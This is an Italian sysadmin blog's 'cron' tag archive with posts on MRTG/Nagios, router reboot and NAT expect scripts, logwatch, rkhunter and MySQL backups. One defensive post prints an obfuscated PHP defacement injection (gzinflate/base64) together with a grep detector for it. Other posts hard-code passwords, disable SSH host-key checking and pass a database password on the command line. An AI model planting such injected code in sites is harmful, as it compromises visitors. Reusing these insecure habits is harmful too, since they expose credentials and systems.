Archivi tag: cron

MRTG e Nagios: monitoraggio del throughput di rete

MRTG (Multi Router Traffic Grapher) rappresenta lo standard “de facto” per ciò che concerne il monitoraggio del throughput della nostra rete. Il suo funzionamento è basato sul polling SNMP, grazie al quale vengono raccolte le informazioni sul traffico che coinvolge le schede di rete monitorate, per poi procedere con la creazione di un grafico “ad hoc”, contenente le predette informazioni.

mrtg_logo

Installazione e configurazione di MRTG

La macchina che svolge le operazioni di monitoraggio è una linux box con a bordo CentOS 6. Per installare MRTG è dunque sufficiente digitare il comando:

[root@linuxbox ~]# yum install mrtg

Inoltre, sarà necessario installare anche i pacchetti net-snmp e net-snmp-utils (per effettuare il polling SNMP vero e proprio):

[root@linuxbox ~]# yum install net-snmp net-snmp-utils

Ad installazione completata passiamo alla configurazione di MRTG. Per prima cosa sarà necessario lanciare il comando:

[root@linuxbox ~]# cfgmaker --global 'WorkDir: /var/www/mrtg' --output /etc/mrtg/mrtg.cfg keypublic@iptarget

Esso ci consentirà di popolare in maniera automatica il file di configurazione /etc/mrtg/mrtg.cfg, grazie al quale, successivamente, verrà creata la pagina Web (con estensione *.html) contenente i grafici generati da MRTG. Inoltre, all’interno del file di configurazione mrtg.cfg, sarà opportuno abilitare le seguenti opzioni:

Options[_]: growright, bits

le quali consentiranno la tracciatura dei grafici da sinistra verso destra, utilizzando i bit come unità di misura (anzichè i byte).

Per creare la pagina Web contenente i grafici è necessario digitare il comando:

[root@linuxbox ~]# indexmaker --output=/var/www/mrtg/index.html /etc/mrtg/mrtg.cfg

A questo punto facciamo in modo che i dati relativi al traffico vengano aggiornati ogni 5 minuti, creando un’apposita regola mediante cron (editando il file /etc/cron.d/mrtg):

*/5 * * * * root LANG=C LC_ALL=C /usr/bin/mrtg /etc/mrtg/mrtg.cfg --lock-file /var/lock/mrtg/mrtg_l --confcache-file /var/lib/mrtg/mrtg.ok

L’ultimo step relativo alla configurazione di MRTG riguarda il settaggio delle credenziali (username/password) per l’accesso alla pagina index.html. Per fare ciò occorre creare il file mrtg.conf, all’interno della directory /etc/httpd/conf.d di Apache (il nostro server Web), il cui contenuto dovrà essere simile al seguente:

Alias /mrtg /var/www/mrtg

<Location /mrtg>
    Order deny,allow
    Allow from all
    AuthName "MRTG Access"
    AuthType Basic
    AuthUserFile /etc/mrtg/passwd
    Require valid-user
</Location>

Ora definiamo lo username e la password (che verrà salvata nel file /etc/mrtg/passwd in formato digest), utilizzando il comando:

[root@linuxbox ~]# htpasswd -c /etc/mrtg/passwd mrtguser

Infine, ricarichiamo la configurazione Apache digitando:

[root@linuxbox ~]# service httpd reload

e proviamo ad accedere ai grafici generati da MRTG, puntando a questa URL:

http://iplinuxbox/mrtg

Se la pagina è accessibile ed i grafici sono aggiornati, possiamo passare alla configurazione di Nagios.

Integrazione tra Nagios ed MRTG

Il plugin di Nagios che ci consente di integrare tale NMS con MRTG prende il nome di check_mrtgtraf. Esso può essere installato singolarmente, digitando:

[root@linuxbox ~]# yum install nagios-plugins-mrtgtraf

oppure installando tutti i plugin di Nagios:

[root@linuxbox ~]# yum install nagios-plugins-all

Ad installazione completata, possiamo definire il comando check_local_mrtgtraf (all’interno del file /etc/nagios/object/commands.cfg), il quale si avvarrà del plugin appena installato:

# 'check_local_mrtgtraf' command definition
define command{
        command_name    check_local_mrtgtraf
        command_line    $USER1$/check_mrtgtraf -F $ARG1$ -a $ARG2$ -w $ARG3$ -c $ARG4$ -e $ARG5$
        }

dove -F indica il file di log (generato da MRTG) che dovrà essere consulato; -a indica la modalità di analisi del traffico (MAX o AVG); -w la soglia di warning e -c la soglia critica.

Non ci rimane che definire il servizio (relativo ad uno specifico host) che dovrà avvalersi del suddetto comando:

define service{
        use                             local-service   ; Inherit values from a template
        host_name                       Router-cisco
        service_description             WAN Bandwidth Usage
        check_command                   check_local_mrtgtraf!/var/www/mrtg/router-cisco/192.168.3.1_16.log!AVG!100000000,200000000!110000000,120000000!10
        }

Ricarichiamo la configurazione di Nagios mediante il comando:

[root@linuxbox ~]# service nagios reload

ed abbiamo finito.

Alla prossima.

Script Bash per controllare lo stato di un processo

Quando si schedulano dei job su cron è opportuno distanziarli tra di loro dal punto di vista temporale, in quanto la sovrapposizione degli stessi potrebbe portare a comportamenti inaspettati. Tale regola andrebbe seguita sempre e comunque, soprattutto se i job si occupano di parsare dei dati e di inserirli dentro un database.

cron, job, parser, ps aux, wc -l, grep, output, gt, bash, script

Dopo questa breve premessa, ecco il codice che utilizzo per il suddetto scopo:

#!/bin/bash

ESEC=`ps aux | grep Parser | wc -l`
if [ $ESEC -gt 1 ]; then #la prima riga e' il grep stesso
echo "Parser is still running.";
exit 0;
fi

Lo scrip in questione è abbastanza semplice. Dapprima lancia un ps aux | grep Parser, dove Parser è il nome del processo di cui voglio controllare lo stato. Se tale processo non è in esecuzione, l’output del comando conterrà solo ed esclusivamente la riga relativa al grep. Dunque, se il numero di righe ricavate mediante un wc -l è strettamente maggiore di uno, vuol dire che una o più istanze del processo è in esecuzione (lo scrip esce). Viceversa, lo scrip continua in quanto nessuna istanza è attualmente attiva.

Alla prossima.

Reboot script per i router Draytek Vigor

Premesso che giornalmente devo “scontrarmi” con un Draytek Vigor 3300V, sono pian piano giunto alla conclusione che tale aggeggio abbia più difetti che pregi.

vigor3300.jpg

Ad esempio, il content filtering consente di bloccare al massimo 8 (e dico 8!) keyword e non ne vuole sapere di gestire l’HTTPS; la pagina relativa ai DDNS, nonostante la presenza delle credenziali per aggiornare l’associazione IP – FQDN, non inoltra alcuna richiesta al sito del provider e quindi i record A scadono; il server DHCP integrato non consente di settare delle normalissime exclusion su alcuni IP che rientrano nel pool ma che non devono essere assegnati a nessun utente.

Ora, potrei continuare quasi all’infinito, ma l’ultima bega che mi son dovuto accollare riguarda la gestione delle VPN. Si, esatto, questo fantastico router funge anche da VPN concentrator, riuscendo (per modo di dire) a gestire VPN IPSec, L2TP e PPTP. Peccato che ogni “tot” si incarti miseramente, lasciando fuori alcuni utenti che cercano di atterrare sulla LAN via VPN, mentre altri riescono tranquillamente ad accedere alla rete interna.

Ho provato a cercare una soluzione un pò più pulita rispetto al classico riavvio, ma credetemi se vi dico che non c’è (forse si potrebbe procedere con la disattivazione/riattivazione della VPN ma non sono sicuro che una cosa del genere non preveda comunque un reboot).

In definitiva, ecco lo scrip expect che mi permette di riavviare il router ogni notte:

#!/usr/bin/expect

set password1 "password"

exec date
spawn ssh -l draytek 10.1.10.1
expect "?"
send "yr"
expect "*?assword:*"
send "$password1r"
expect ">"
send "sys rebootr"
expect "?"
send "yr"
expect eof

Ovviamente l’esecuzione di tale scrip avviene mediante cron e non fa altro che connettersi al router, lanciare un sys/reboot ed uscire.

Attenzione però: dopo ogni riavvio il router cambia il proprio fingerprint SSH (non chiedetemi il perchè), quindi il suddetto scrip, dopo il primo riavvio, fallirebbe miseramente in quanto il client SSH, vedendosi cambiare di punto in bianco il fingerprint dell’host a cui sta provando a connettersi, penserebbe in un attacco MITM.

Per evitarè ciò è necessario editare il file /etc/ssh/ssh_config aggiungendo in testa le seguenti direttive:

Host 10.1.10.1
     StrictHostKeyChecking no
     UserKnownHostsFile=/dev/null

Infine, voglio precisare che il router è comunque dotato di un comando in grado di definire il reboot automatico (mi sa che gli stessi costruttori fossero a conoscenza del fatto che tale aggeggio tende ad incartarsi di continuo). Nonostante questo comando bundle, chiamato appunto autoreboot, ho preferito operare come indicato in precedenza per un semplice motivo:

DrayTek> sys autoreboot ?
 Full Name:
    auto reboot function
 Description:
 Syntax:
    autoreboot -s                                (Show status)
    autoreboot -e <Enable>
    autoreboot -t <Hours>
 Parameters:
    <Enable>                                         (0: Disable, 1: Enable)
    <Hours>                                          (Number of hours)

Si, avete capito bene, se volessi riavviare il router ogni mattina alle 3 (quindi esattamente ogni 24 ore) dovrei lanciare i comandi:

DrayTek> sys autoreboot -e 1

DrayTek> sys autoreboot -t 24

indovinate a che ora? ALLE 3 DEL MATTINO. No comment.

Alla prossima.

Script per tenere sotto controllo i siti vittima di defacing

Recentemente è aumentato a dismisura il numero di siti che hanno subito un defacing. Tale piaga può essere dovuta a diversi fattori:

1) vulnerabilità del Web server (ricordate il celeberrimo exploit per IIS che sfruttava una cattiva gestione dell’URL encoding?)

2) Vulnerabilità del sistema operativo che ospita il Web server (o di uno dei servizi attivi sulla macchina);

3) Furto delle credenziali FTP, soprattutto se sono state inviate via email.

defacing, pattern, bash, cracker, cron, script, monitoring

Vi assicuro che la terza ipotesi è quella più gettonata, nel senso che sempre più spesso si assiste ad un defacing proprio perchè i cracker hanno ottenuto accesso allo spazio FTP, riuscendo quindi a modificare a piacimento le pagine Web del sito vittima.

Ad esempio, in questo post ho discusso di un defacing avvenuto sul sito di un amico. Il pattern specifico che lo identificava era il seguente:

#c3284d# echo(gzinflate(base64_decode("JY5BjsIwEATvSPzBmgu7l1jaIxvnFXxgcIZ4VoltjRsCvydsbq2Wqqv7Fk0rHF5VAkGe8H/84L2l4XgYS7wvktGtpp CvU68340VcsxgoAfXsfTRh6EPUSmZDlwVeF56k+QZG62qq5PKGBbqsCoiR2xRlnjVPgfiOQu5/91psFAuUt4JnnXKguNk/QBKdEgL9kFt1RPqkoff7n+H0/X s89H4/PrwB"))); #/c3284d#

Ecco allora che ho pensato di creare uno scrip, da eseguire automaticamente mediante cron, che mi potesse segnalare la presenza del suddetto pattern sul sito che stavo monitorando:

#!/bin/bash

touch temp

data=`date`

wget nomesito.it

cat index.html | grep gzinflate >> temp

if [ -s temp ]; then
cat temp | mail -iv -s "$data: codice malevolo iniettato" vostro.indirizzo@email.it
fi

rm index.html*

rm temp

exit 0

Lo scrip è abbastanza banale ma vi assicuro che è di un’utilità pazzesca.

Potete modificarlo a vostro piacimento, basta che settate il sito da monitorare, il pattern (dopo il grep) ed il vostro indirizzo di posta elettronica (su cui verranno inviate le email di alert in caso di defacciamento).

Spero vi possa tornare utile.

Alla prossima.

Logwatch: analisi automatica dei log file di sistema

Ottenere dei report giornalieri che tengano conto degli “eventi” che hanno interessato i nostri server è certamente una comodità. Infatti, grazie ad essi, non è più necessario analizzare singolarmente i file di log relativi alle diverse applicazioni attive sulle nostre macchine, ma basta una rapida occhiata per accorgersi di eventuali anomalie.

Un’applicazione che riesce a generare una reportistica di questo tipo, a partire dai vari file di log, prende il nome di logwatch. In particolare, trattasi di un semplice scrip perl, la cui installazione è a dir poco banale e la cui configurazione è piuttosto immediata.

logwatch,log,log analysis,report,cron

Per installarlo sulla nostra Linux box Debian basta digitare il comando:

nightfly@nightbox:~$ sudo apt-get install logwatch

Ad installazione completata possiamo dedicarci alla configurazione di questo comodo e potente applicativo.

Per fare ciò occorre editare il file /usr/share/logwatch/default.conf/logwatch.conf:

nightfly@nightbox:~$ sudo nano /usr/share/logwatch/default.conf/logwatch.conf

Il nostro intento è quello di ottenere dei report da inviare alla nostra mailbox, la cui formattazione dovrà essere realizzata mediante il linguaggio di markup HTML:

Output = mail
Format = html
MailTo = vostro.indirizzo@email.it

In questo modo, ogniqualvolta digiteremo il comando logwatch da CLI, tale software provvederà ad inviarci il report desiderato.

Per automatizzare tale procedura, è sufficiente posizionarsi nella directory /etc/cron.daily/ per poi modificare il file 00logwatch, il cui contenuto dovrà essere:

#!/bin/bash

#Check if removed-but-not-purged
test -x /usr/share/logwatch/scrip/logwatch.pl || exit 0

#execute
/usr/sbin/logwatch --mailto vostro.indirizzo@email.it

Salviamo il file appena modificato ed abbiamo finito.

Siamo ora pronti a ricevere dei report giornalieri relativi allo stato dei servizi attivi sui nostri server.

A presto.

Script per il forward automatico della porta SSH sul router Cisco 837

La IOS C837-K9O3Y6-M sviluppata per il router Cisco 837 ha un bug, ovvero è possibile che dopo qualche reload si “dimentichi” di una o più PAT translations che riguardano porte più alte delle well-known (per intenderci, superiori alla 1023).

bug

Nel mio caso, il problema ha iniziato a verificarsi da quando ho deciso di mettere in ascolto SSH su una porta non standard, in modo da risparmiarmi i tentativi di attacco lanciati dagli scrip kiddie di turno.

Inoltre, per motivi di sicurezza, ho consentito l’accesso via SSH al router solo dagli host della LAN, quindi, nel caso in cui dovessi accedere alla sua configurazione, atterro sul server e da lì mi collego al router.

Ovviamente, se la porta SSH non è forwardata non posso atterrare sul server, dunque l’unica soluzione praticabile consiste nell’andare fisicamente dal cliente e ricreare la regola per il PAT.

E qui viene il bello: poichè mi sono stancato di dover perdere almeno un’ora per andare dal cliente, riconfigurare il tutto e tornarmene a casa, ho deciso di creare il seguente scrip, il quale si collega al router tre volte al giorno e ricrea la regola per l’SSH.

Ecco lo scrip:

#!/usr/bin/expect

set password1 "<password1>"
set password2 "<password2>"

spawn ssh -l <username> <IP del router>
expect "*?assword:*"
send "$password1r"
expect ">"
send "enar"
expect "Password:"
send "$password2r"
expect "#"
send "conf tr"
expect "(config)#"
send "no ip nat inside source static tcp <ip> <porta> interface Dialer0 <porta>r"
expect "(config)#"
send "ip nat inside source static tcp <ip> <porta> interface Dialer0 <porta>r"
expect "(config)#"
send "exitr"
expect "#"
send "copy run startr"
expect "?"
send "r"
expect "#"
send "exitr"
expect eof

Come al solito, mancano i backslash prima della r perchè myblog li filtra.

Una volta che avete creato lo scrip, convertitelo in eseguibile lanciando il comando:

nightfly@nightbox:~$ sudo chmod +x ssh_autoforward

e salvatelo nella directory /usr/bin:

nightfly@nightbox:~$ sudo mv ssh_autoforward /usr/bin

A questo punto potete creare la regola per cron, in modo da schedulare l’esecuzione dello scrip alle 6, alle 12 ed alle 18:

nightfly@nightbox:~$ sudo nano /etc/crontab

00 06,12,18   * * *     root          ssh_autoforward

Riavviamo cron:

nightfly@nightbox:~$ sudo service cron restart

ed abbiamo finito.

A presto.

PS: non preoccupatevi se lo scrip entra in esecuzione mentre siete loggati sul server: la regola per il forward dell’SSH non verrà rimossa poichè la state già utilizzando, quindi niente perdita di connessione.

Script bash per l’individuazione di eventuali rootkit mediante rkhunter

Recentemente ho creato questo semplice scrip bash che consente di identificare eventuali rootkit installati sulla nostra macchina, inviando successivamente il risultato della scansione al nostro indirizzo email. Tale scrip si avvale del tool rkhunter.

bash

Ecco il codice:

#!/bin/bash

destinatario=vostro.indirizzo@email.it

logfile=/var/log/rkhuntercheck.log

ROOT_UID=0

if [ "$UID" -ne "$ROOT_UID" ];then

        ERRORE1="Errore 1: Devi essere root per eseguire lo scrip"
        echo $ERRORE1
        echo "$(date) $ERRORE1" >> $logfile

        exit 1

fi

rkhunter --update -c --sk --nocolors > temp_rootkit;

cat temp_rootkit | mail -iv -s "Esito scansione rootkit con rkhunter" $destinatario;

rm temp_rootkit;

exit 0

In particolare, la flag –sk consente di skippare il keypress, mentre la flag –nocolors consente di creare un report senza preoccuparci della formattazione del testo mediante i colori.

Inoltre, prima di effettuare uno scan, grazie alla flag –update, aggiorno rkhunter con le ultime signature.

Spero che questo scrip vi possa tornare utile.

A presto.

Script bash per il backup automatico di un database

Dovendo gestire diversi database su più server ho avuto la necessità di creare uno scripino che automatizzasse la creazione dei loro backup. Riporto quindi lo scrip per intero e successivamente provvederò a spiegare le varie sezioni del codice, anche se a primo acchito tutto dovrebbe apparire piuttosto chiaro.

#!/bin/bash

data=$(date +"%d_%b_%y")

montaggio=$(mount | grep /media/disk)

#File di log
FILELOG=/var/log/backup

ROOT_UID=0

if [ "$UID" -ne "$ROOT_UID" ];then

ERRORE1="Errore 1: Devi essere root per eseguire lo scrip"
echo $ERRORE1
echo "$(date) $ERRORE1" >> $FILELOG

exit 1

fi

if [ ! -n "$montaggio"  ]; then

mount /media/disk

fi

if [ ! -d /media/disk/backup/ ]; then

cd /media/disk

mkdir /media/disk/backup

fi

cd /media/disk/backup

mysqldump nomedatabase -u username -pvostrapassword > database_$data.pl

exit 0

Per prima cosa salvo all’interno della variabile “data” l’output del comando date formattato nel seguente modo:

giorno_prime 3 lettere del mese (in inglese)_anno

successivamente definisco all’interno della variabile FILELOG il pathname relativo al file su cui verranno loggati i vari messaggi di errore dello scrip, in questo caso /var/log/backup. Dopodichè mi accerto che lo scrip venga eseguito da root, poichè lo stesso verrà dato in pasto a cron per essere eseguito con tali privilegi.

A questo punto verifico che l’hard disk secondario sia montato, eseguendo il comando:

mount | grep /media/disk

Se tale comando restituisce una stringa vuota eseguo il mount dell’hard disk secondario e successivamente mi posiziono in /media/disk.

Ora devo verificare che la cartalla backup sia presente in /media/disk. Se non lo è provvedo a crearla (in realtà tale operazione verrà effettuata soltanto durante la prima esecuzione dello scrip).

Bene, posso quindi posizionarmi in /media/disk/backup e successivamente effettuare il dump del database mediante il comando mysqldump. Notate che tra la flag -p e la password per accedere al database non vi sono spazi. Inoltre, il dump verrà salvato in un file il cui nome è costituito dalla stringa database_dataattuale.pl, ad esempio:

database_01_Jul_01.pl

Abbiamo quasi finito, non ci resta che creare un binario criptato (RC4) partendo dal nostro scrip, poichè quest’ultimo contiene diverse informazioni critiche, quali, ad esempio, username e password di accesso al database.

Per fare ciò possiamo utilizzare una semplice applicazione, ovvero shc (il sito ufficiale è il seguente: http://www.datsi.fi.upm.es/~frosal/)

Scarichiamo tale applicazione tramite wget:

wget http://www.datsi.fi.upm.es/~frosal/sources/shc-3.8.7.tgz

Scompattiamo la tarball:

tar -xvf shc-3.8.7.tgz

e posizioniamoci nella cartella tar -xvf shc-3.8.7:

cd shc-3.8.7/

Lanciamo il make:

make

Dopodichè facciamo un test per verificare che tale operazione sia andata a buon fine:

make test

Se non ci sono errori dovremmo vedere lo scrip shc presente nella dir shc-3.8.7

Ora trasformiamo il nostro scrip per il backup in eseguibile mediante il comando:

./shc -f /home/nomeutente/database

dove database è il nome del nostro scrip.

Se non ci sono problemi di sorta dovremmo ritrovarci i seguenti 2 file nella nostra home:

database.x e database.x.c

Copiamo ora database.x nella dir /usr/bin/

sudo cp database.x /usr/bin

Infine, mediante cron, scheduliamo l’esecuzione di database.x alle 20 e 30 di ogni sera:

sudo nano /etc/crontab

30 20   * * *   root    backupdb.x > /dev/null 2>&1

redirigendo lo standard output e lo standard error su /dev/null.

Il nostro scrip per il backup giornaliero dei database è finalmente pronto.

See ya.

PS: ovviamente se abbiamo a che fare con database di grandi dimensioni eseguire un backup giornaliero è sconsigliato, sarebbe meglio eseguire backup settimanali o mensili.

PPS: inutile dire che tale scrip supporta solo MySQL.